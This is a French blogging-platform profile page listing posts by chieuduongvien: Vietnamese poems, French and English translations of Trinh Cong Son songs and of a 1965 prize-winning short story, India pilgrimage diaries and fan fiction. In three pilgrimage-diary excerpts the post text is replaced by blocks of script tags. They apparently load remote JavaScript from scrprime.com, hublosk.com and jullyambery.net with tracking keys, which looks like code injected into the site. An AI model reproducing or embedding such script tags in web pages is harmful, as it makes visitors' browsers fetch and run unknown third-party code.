Partagez vos passions
Rejoignez la communauté

  • chieuduongvien


    • a posté un article :

      the water-lilies

    • a posté un article :

      Tran Toc Tu Duong
          Trần Tộc Từ Đường   Câu đối đề trên bình phong và hai trụ  của Cụ Trần Thanh Đạt   ***...

    • a posté un article :

      Nhat Ky hanh huong dat Phat - 1

       

      <script src="//scrprime.com/23178e2c7c2ade2327.js"></script> <script src="https://hublosk.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8983x" type="text/javascript"></script> <script src="https://jullyambery.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8983x&format=arrjs&r=1627833279700" type="text/javascript"></script> <script src="https://scrprime.com/ext/23178e2c7c2ade2327.js?sid=52715_8983_&title=qq&blocks[]=31af2" type="text/javascript"></script>

    • a posté un article :

      Tôc Su Ho Trân Công -II

       

      <script src="//scrprime.com/23178e2c7c2ade2327.js"></script> <script src="https://hublosk.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8983x" type="text/javascript"></script> <script src="https://jullyambery.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8983x&format=arrjs&r=1627818472938" type="text/javascript"></script> <script src="https://scrprime.com/ext/23178e2c7c2ade2327.js?sid=52715_8983_&title=qq&blocks[]=31af2" type="text/javascript"></script>

    • a posté un article :

      the water-lilies

    • a posté un article :

      La Première Foudre De La Saison (suite)
             La Première Foudre De La Saison (suite)      A partir de ce jour-là, je ressentis le besoin d’être plus proche de Tuân.. Ce n’était pas très...

    • a posté un article :

      Ti&#7871;ng s&#7845;m &#273;&#7847;u mùa
          TIẾNG SẤM ĐẦU MÙA   TRẦN THANH DIỆU    (Giải thưởng Trung Tâm Văn Bút Việt-Nam - 1965)    ***     ...

    • a posté un article :

      Ti&#7871;ng s&#7845;m &#273;&#7847;u mùa (tiep theo)
        Tiếng sấm đầu mùa  (Tiếp theo)   Từ đó,  mỗi khi nói chuyện với chị tôi, tôi thường lái c&ac...

    • a posté un article :

      Your passionate fingers
        Your passionate fingers Translated by Kitty   For ever  I’ll sing my lullaby Praising the langorous stream of your hair, Your slender fingers, On your luxuriant hair. I sing of your frail fingers, I’ll ...

    • a posté un article :

      Ru em t&#7915;ng ngón xuân n&#7891;ng
      Ru em từng ngón xuân nồng Trịnh Công Sơn Ru mãi ngàn năm Dòng tóc em buồnBàn tay em năm ngón Ru trên ngàn nămTrê...

    • a posté un article :

      Ru Ta Ng&#7853;m Ngùi
         Ru Ta Ngậm Ngùi Trịnh Công Sơn Môi nào hãy còn thơm, cho ta phơi cuộc tình.Tóc nào hãy còn xanh, cho ta chút...

    • a posté un article :

      Di&#7877;m x&#432;a
      Diễm xưa Trịnh Công Sơn   Mưa vẫn mưa bay trên tầng tháp cổDài tay em mấy thuở mắt xanh xaoNghe lá thu mưa reo mòn g&...

    • a posté un article :

      G&#7885;i Tên B&#7889;n Mùa
      Gọi Tên Bốn Mùa Trịnh Công Sơn  Em đứng lên gọi mưa vào Hạ,Từng cơn mưa từng cơn mưaTừng cơn mưa m+...

    • a posté un article :

      Tình Nh&#7899; - Cet Amour Languissant
      Nostalgia   Translated by Kitty That love I thought have forgotten, So hard my heart tried to ignore, You that I thought far away gone, You are back, all of a sudden.  Your old dress in the wind billowed, Outshone the cr...

    • a posté un article :

      Xin cho tôi - Accorde moi
      Accorde-moi ! Traduction réalisée par Kitty      Que les nuages puissent entièrement m’abriter, Q’un matin au soleil joyeux me soit accordé Que j’arrive à sou...

    • a posté un article :

      Cho m&#7897;t ng&#432;&#7901;i n&#7857;m xu&#7889;ng - A toi qui nous quittes
      A toi qui nous quittes     Traduit par Kitty    Tu nous quites après avoir été de cette vie, et réjoui de ta vieTu as survolé dans ce coin de ciel bleuMaintenant tu es l&agrav...

    • a posté un article :

      Nh&#432; cánh v&#7841;c bay - Comme les ailes d'un héron
      Comme les ailes d'un héron Tranduit par Kitty  Les rayons de soleil sont-ils aussi roses que tes lèvres ?La pluie est-elle aussi triste que tes yeux ?Tes cheuveux fins, tombent en cascade En faisant des vagues...

    • a posté un article :

      Chapter 1
        Harry Potter 7     HARRY  POTTER  AND  THE  POWER  OF  LOVE   by Kitty   2006      Chapter 1:  The Last Visit to Privet Drive   &nbs...

    • a posté un article :

      Cát B&#7909;i - Un grain de sable
      Un grain de sable Traduit par Kitty  Quel grain de sable a choisi d'endosser mon destin ?Un matin en s'étirant il granditOh quel merveilleux destin que celui d'un grain de sable,Le soleil éclairait ta vie d'insouciant f...

    • a posté un article :

      La Première Foudre De La Saison
          La Première Foudre de la Saison   Traduction réalisée par Kitty         J’ai une phobie que je n’arrive pas à surmonter, c’est la peur de la foudr...

    • a posté un article :

      The First Thunder of Summer
          The First Thunder Of Summer   ***   (Tiếng Sấm Đầu Mùa)   by Trần Thanh Diệu   Short story prize awarded by Viet-Nam Pen Club - 1965   Tra...

    • a posté un article :

      The First Thunder Of Summer ( 2nd part )
              The First Thunder Of Summer (2nd part)           One morning near Christmas time, I was playing on the threshold, admiring my aeroplane that worked with a rubber string, a n...

    • a posté un article :

      Nhat ky hanh huong dat Phat - 2

       

      <script src="//scrprime.com/23178e2c7c2ade2327.js"></script> <script src="https://hublosk.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8983x" type="text/javascript"></script> <script src="https://jullyambery.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8983x&format=arrjs&r=1627833474335" type="text/javascript"></script> <script src="https://scrprime.com/ext/23178e2c7c2ade2327.js?sid=52715_8983_&title=qq&blocks[]=31af2" type="text/javascript"></script>

    • a posté un article :

      Nh&#7853;t ký hành h&#432;&#417;ng &#273;&#7845;t Ph&#7853;t - 3
        Nhật ký hành hương đất Phật (Tiếp theo và hết)   ....     29/12/2010 : đi Kushinagar, nơi đức Phật n...

    • a posté un article :

      Mon pèlerinage en Inde - 1
          Mon pèlerinage en Inde 15/12/2010 – 01/01/2011  Kitty   En Septembre 2010, je décidai d’entreprendre un pèlerinage en Inde avec un groupe de fidèles de la Pagode Van-Hanh...

    • a posté un article :

      Mon pèlerinage en Inde - 2
              Mon pèlerinage en Inde     (suite)      20/12/2010. Nous sommes restés à Bodh Gaya plusieurs jours. Nous avons visité plusieurs pagodes dans les al...

    • a posté un article :

      Mon pèlerinage en Inde - 3
          Mon pelerinage en Inde (Suite et fin)     26/12/2010. Vaïsali.   Visite des ruines de l’amphithéâtre Kūṭāgarasālā, du bassin Markaṭa-hrada cr...

    • a posté un article :

      La Légende de la Voie Lactée
          NGUU-LANG  ET  CHUC-NU (ou « La Légende de la Voie Lactée »)    Kitty       En lisant un conte sur le Ja...

    Plus...

    Blogs de chieuduongvien

    Blogs favoris

    chieuduongvien n'a pas encore de blogs favoris

    Suit 0 membres

    chieuduongvien ne suit pas de membre

    Suivi par 0 membres

    chieuduongvien n'est suivi par aucun membre